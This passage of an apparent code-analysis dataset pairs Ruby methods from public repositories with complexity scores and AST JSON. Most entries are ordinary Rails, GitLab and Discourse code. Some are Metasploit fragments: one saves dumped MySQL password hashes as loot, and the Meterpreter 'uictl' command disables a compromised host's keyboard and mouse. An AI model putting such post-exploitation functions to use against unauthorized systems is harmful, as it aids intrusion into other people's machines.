type\":\"lvasgn\",\"children\":[\"relation\",{\"type\":\"send\",\"children\":[null,\"make_related_to_relation\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"with\"]}]},{\"type\":\"lvar\",\"children\":[\"relation\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"relations\"]},{\"type\":\"lvar\",\"children\":[\"relations\"]}]}]},\"compact_blank\"]}]}]}","id":"7982fc72-efb1-4530-bd31-eb354b23fc20"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/integration_test.rb","start_line":1263,"raw_source":"def test_get_request_with_json_excludes_null_query_string\n    with_routing do |routes|\n      routes.draw do\n        ActionDispatch.deprecator.silence do\n          get \":action\" => FooController\n        end\n      end\n\n      get \"/foos_json\", as: :json\n\n      assert_equal \"http://www.example.com/foos_json\", request.url\n    end\n  end","complexity_score":15.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_get_request_with_json_excludes_null_query_string\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_routing\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"routes\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"routes\"]},\"draw\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionDispatch\"]},\"deprecator\"]},\"silence\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\":action\"]},{\"type\":\"const\",\"children\":[null,\"FooController\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"/foos_json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"as\"]},{\"type\":\"sym\",\"children\":[\"json\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"http://www.example.com/foos_json\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"url\"]}]}]}]}]}","id":"76147d86-a3e2-4fde-aa87-a387de31701e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/merge_request_diff.rb","start_line":978,"raw_source":"def repository\n    project.repository\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"repository\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"repository\"]}]}","id":"222af03a-098c-4a6f-998d-d0cdff351339"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/spec/system/page_objects/chat/chat_channel.rb","start_line":59,"raw_source":"def has_last_visit_line_at_id?(id)\n        find(\".chat-message-separator[data-id=\\\"#{id}\\\"]\").has_content?(\n          I18n.t(\"js.chat.last_visit\"),\n        )\n      end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"has_last_visit_line_at_id?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\".chat-message-separator[data-id=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]}]},{\"type\":\"str\",\"children\":[\"\\\"]\"]}]}]},\"has_content?\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"js.chat.last_visit\"]}]}]}]}","id":"ecaa1bc4-72b1-4feb-b71c-1fab75f1c60a"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/reflection.rb","start_line":388,"raw_source":"def initialize(name, scope, options, active_record)\n        super()\n        @name          = name\n        @scope         = scope\n        @options       = normalize_options(options)\n        @active_record = active_record\n        @klass         = options[:anonymous_class]\n        @plural_name   = active_record.pluralize_table_names ?\n                            name.to_s.pluralize : name.to_s\n      end","complexity_score":14.5,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"scope\"]},{\"type\":\"arg\",\"children\":[\"options\"]},{\"type\":\"arg\",\"children\":[\"active_record\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@name\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@scope\",{\"type\":\"lvar\",\"children\":[\"scope\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@options\",{\"type\":\"send\",\"children\":[null,\"normalize_options\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@active_record\",{\"type\":\"lvar\",\"children\":[\"active_record\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@klass\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"anonymous_class\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@plural_name\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"active_record\"]},\"pluralize_table_names\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"to_s\"]},\"pluralize\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"to_s\"]}]}]}]}]}","id":"1cf5c55b-80b8-4035-8694-121955612b84"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/mysql/mysql_authbypass_hashdump.rb","start_line":203,"raw_source":"def report_hashes(hash_loot, service, host, port)\n    filename = \"#{host}-#{port}_mysqlhashes.txt\"\n    path = store_loot(\"mysql.hashes\", \"text/plain\", host, hash_loot, filename, \"MySQL Hashes\", service)\n    print_good(\"#{host}:#{port} Hash Table has been saved: #{path}\")\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"report_hashes\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hash_loot\"]},{\"type\":\"arg\",\"children\":[\"service\"]},{\"type\":\"arg\",\"children\":[\"host\"]},{\"type\":\"arg\",\"children\":[\"port\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"filename\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]}]},{\"type\":\"str\",\"children\":[\"-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"port\"]}]},{\"type\":\"str\",\"children\":[\"_mysqlhashes.txt\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[null,\"store_loot\",{\"type\":\"str\",\"children\":[\"mysql.hashes\"]},{\"type\":\"str\",\"children\":[\"text/plain\"]},{\"type\":\"lvar\",\"children\":[\"host\"]},{\"type\":\"lvar\",\"children\":[\"hash_loot\"]},{\"type\":\"lvar\",\"children\":[\"filename\"]},{\"type\":\"str\",\"children\":[\"MySQL Hashes\"]},{\"type\":\"lvar\",\"children\":[\"service\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"port\"]}]},{\"type\":\"str\",\"children\":[\" Hash Table has been saved: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]}]}]}","id":"e66fe575-8c54-466f-8a9b-0c4751404140"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/finders/spree/products/find.rb","start_line":330,"raw_source":"def map_prices(prices)\n        prices.map do |price|\n          price == 'Infinity' ? BigDecimal::INFINITY : price.to_f\n        end\n      end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"map_prices\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"prices\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prices\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"price\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"price\"]},\"==\",{\"type\":\"str\",\"children\":[\"Infinity\"]}]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BigDecimal\"]},\"INFINITY\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"price\"]},\"to_f\"]}]}]}]}","id":"cebf51a3-e679-475d-b152-332abe479110"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-utils/lib/gitlab/utils/upgrade_path.rb","start_line":34,"raw_source":"def scheduled_stops\n        current_version_stops = SCHEDULED_STOPS.map do |minor|\n          Gitlab::VersionInfo.new(version_info.major, minor)\n        end\n        next_version_first_stop = [Gitlab::VersionInfo.new(version_info.major + 1, SCHEDULED_STOPS.first)]\n\n        current_version_stops + next_version_first_stop\n      end","complexity_score":15.65,"ast_json":"{\"type\":\"def\",\"children\":[\"scheduled_stops\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"current_version_stops\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SCHEDULED_STOPS\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"minor\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"VersionInfo\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"version_info\"]},\"major\"]},{\"type\":\"lvar\",\"children\":[\"minor\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"next_version_first_stop\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"VersionInfo\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"version_info\"]},\"major\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SCHEDULED_STOPS\"]},\"first\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_version_stops\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"next_version_first_stop\"]}]}]}]}","id":"f4539e1a-4c1e-472c-ad4e-73729c18d25c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/sidekiq_daemon/monitor.rb","start_line":120,"raw_source":"def process_message(message)\n        Sidekiq.logger.info(\n          class: self.class.to_s,\n          channel: NOTIFICATION_CHANNEL,\n          message: 'Received payload on channel',\n          payload: message\n        )\n\n        message = safe_parse(message)\n        return unless message\n\n        case message['action']\n        when 'cancel'\n          process_job_cancel(message['jid'])\n        else\n          # unknown message\n        end\n      end","complexity_score":13.5,"ast_json":"{\"type\":\"def\",\"children\":[\"process_message\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"message\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sidekiq\"]},\"logger\"]},\"info\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"channel\"]},{\"type\":\"const\",\"children\":[null,\"NOTIFICATION_CHANNEL\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"Received payload on channel\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"send\",\"children\":[null,\"safe_parse\",{\"type\":\"lvar\",\"children\":[\"message\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"[]\",{\"type\":\"str\",\"children\":[\"action\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"cancel\"]},{\"type\":\"send\",\"children\":[null,\"process_job_cancel\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"[]\",{\"type\":\"str\",\"children\":[\"jid\"]}]}]}]},null]}]}]}","id":"d340dd58-2cc8-4c58-ade3-86a440eb0b51"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/tools/generate_perf_testdata.rb","start_line":78,"raw_source":"def create_many_todos\n        30.times do |i|\n          create_a_todo_api_req(\"#{@group_name}%2F#{@project_name}\", (i + 1).to_s)\n        end\n        @urls[:todos_page] = ENV['GITLAB_ADDRESS'] + \"/dashboard/todos\"\n        $stdout.puts \"Created many todos: #{@urls[:todos_page]}\"\n      end","complexity_score":12.03,"ast_json":"{\"type\":\"def\",\"children\":[\"create_many_todos\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[30]},\"times\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"i\"]}]},{\"type\":\"send\",\"children\":[null,\"create_a_todo_api_req\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@group_name\"]}]},{\"type\":\"str\",\"children\":[\"%2F\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project_name\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},\"to_s\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@urls\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"todos_page\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"GITLAB_ADDRESS\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"/dashboard/todos\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$stdout\"]},\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Created many todos: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@urls\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"todos_page\"]}]}]}]}]}]}]}","id":"068d91df-72cd-4a20-a475-2bf36e9611e4"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/vendor/holidays/lib/holidays/finder/context/year_holiday.rb","start_line":42,"raw_source":"def validate!(from_date)\n          raise ArgumentError unless from_date && from_date.is_a?(Date)\n        end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"validate!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"from_date\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"from_date\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"from_date\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Date\"]}]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]}]}]}","id":"7edec949-1e65-45ce-b6e2-b61b4ed6f5d7"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/finder_test.rb","start_line":703,"raw_source":"def test_find_doesnt_have_implicit_ordering\n    assert_queries_match(/^((?!ORDER).)*$/) { Topic.find(1) }\n  end","complexity_score":3.43,"ast_json":"{\"type\":\"def\",\"children\":[\"test_find_doesnt_have_implicit_ordering\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_queries_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^((?!ORDER).)*$\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"find\",{\"type\":\"int\",\"children\":[1]}]}]}]}","id":"9fd5064e-2b29-479b-ba42-88ad1eacd7d9"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/actions/nexus_upload.rb","start_line":4,"raw_source":"def self.run(params)\n        command = []\n        command << \"curl\"\n        command << verbose(params)\n        command << \"--fail\"\n        command += ssl_options(params)\n        command += proxy_options(params)\n        command += upload_options(params)\n        command << upload_url(params)\n\n        Fastlane::Actions.sh(command.join(' '), log: params[:verbose])\n      end","complexity_score":20.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"run\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"command\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]},\"<<\",{\"type\":\"str\",\"children\":[\"curl\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"verbose\",{\"type\":\"lvar\",\"children\":[\"params\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]},\"<<\",{\"type\":\"str\",\"children\":[\"--fail\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"command\"]},\"+\",{\"type\":\"send\",\"children\":[null,\"ssl_options\",{\"type\":\"lvar\",\"children\":[\"params\"]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"command\"]},\"+\",{\"type\":\"send\",\"children\":[null,\"proxy_options\",{\"type\":\"lvar\",\"children\":[\"params\"]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"command\"]},\"+\",{\"type\":\"send\",\"children\":[null,\"upload_options\",{\"type\":\"lvar\",\"children\":[\"params\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"upload_url\",{\"type\":\"lvar\",\"children\":[\"params\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fastlane\"]},\"Actions\"]},\"sh\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]},\"join\",{\"type\":\"str\",\"children\":[\" \"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"log\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"verbose\"]}]}]}]}]}]}]}","id":"5ebdd9ee-a468-467c-b5a2-d1036c76af29"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/counter/client.rb","start_line":199,"raw_source":"def initialize(io, on_message)\n        super(io)\n        @connection = false\n        @buffer = ''\n        @on_message = on_message\n      end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"io\"]},{\"type\":\"arg\",\"children\":[\"on_message\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"io\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@connection\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@buffer\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@on_message\",{\"type\":\"lvar\",\"children\":[\"on_message\"]}]}]}]}","id":"df75660f-ddd8-4b09-a1f5-b3254dcb85bf"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/cloud_lookup.rb","start_line":483,"raw_source":"def incapsula_ips\n    begin\n      cli = Rex::Proto::Http::Client.new('my.incapsula.com', 443, {}, true, nil, datastore['Proxies'])\n      cli.connect\n\n      response = cli.request_cgi(\n        'method' => 'POST',\n        'uri' => '/api/integration/v1/ips',\n        'agent' => datastore['USERAGENT'],\n        'vars_post' => { 'resp_format' => 'json' }\n      )\n      results = cli.send_recv(response)\n    rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT\n      print_error('HTTP connection failed to Incapsula website.')\n    end\n\n    unless results\n      print_error('Unable to retrieve any data from Incapsula website.')\n      return []\n    end\n\n    results.get_json_document['ipRanges'].map { |ip| ip.gsub('\"', '') }\n  end","complexity_score":24.75,"ast_json":"{\"type\":\"def\",\"children\":[\"incapsula_ips\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cli\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"Http\"]},\"Client\"]},\"new\",{\"type\":\"str\",\"children\":[\"my.incapsula.com\"]},{\"type\":\"int\",\"children\":[443]},{\"type\":\"hash\",\"children\":[]},{\"type\":\"true\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Proxies\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"connect\"]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"str\",\"children\":[\"/api/integration/v1/ips\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"agent\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"USERAGENT\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"resp_format\"]},{\"type\":\"str\",\"children\":[\"json\"]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"results\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"send_recv\",{\"type\":\"lvar\",\"children\":[\"response\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionError\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Errno\"]},\"ECONNREFUSED\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Errno\"]},\"ETIMEDOUT\"]}]},null,{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"HTTP connection failed to Incapsula website.\"]}]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"results\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Unable to retrieve any data from Incapsula website.\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"results\"]},\"get_json_document\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ipRanges\"]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ip\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip\"]},\"gsub\",{\"type\":\"str\",\"children\":[\"\\\"\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]}","id":"7984223e-56ab-44e8-97a1-ce94163ac5df"}
{"repo_name":"pundit","file_path":"./repos/pundit/spec/support/policies/publication_policy.rb","start_line":5,"raw_source":"def resolve\n      scope.published\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"resolve\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scope\"]},\"published\"]}]}","id":"067f19fa-874f-4f16-bf7c-ae0906cde206"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb","start_line":88,"raw_source":"def cmd_uictl(*args)\n    if (args.length < 2)\n      print_line(\n        \"Usage: uictl [enable/disable] [keyboard/mouse/all]\")\n      return true\n    end\n\n    case args[0]\n      when 'enable'\n        case args[1]\n          when 'keyboard'\n            print_line(\"Enabling keyboard...\")\n            client.ui.enable_keyboard\n          when 'mouse'\n            print_line(\"Enabling mouse...\")\n            client.ui.enable_mouse\n          when 'all'\n            print_line(\"Enabling all...\")\n            client.ui.enable_keyboard\n            client.ui.enable_mouse\n          else\n            print_error(\"Unsupported user interface device: #{args[1]}\")\n        end\n      when 'disable'\n        case args[1]\n          when 'keyboard'\n            print_line(\"Disabling keyboard...\")\n            client.ui.disable_keyboard\n          when 'mouse'\n            print_line(\"Disabling mouse...\")\n            client.ui.disable_mouse\n          when 'all'\n            print_line(\"Disabling all...\")\n            client.ui.disable_keyboard\n            client.ui.disable_mouse\n          else\n            print_error(\"Unsupported user interface device: #{args[1]}\")\n        end\n      else\n        print_error(\"Unsupported command: #{args[0]}\")\n    end\n\n    return true\n  end","complexity_score":77.85,"ast_json":"{\"type\":\"def\",\"children\":[\"cmd_uictl\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"length\"]},\"<\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"Usage: uictl [enable/disable] 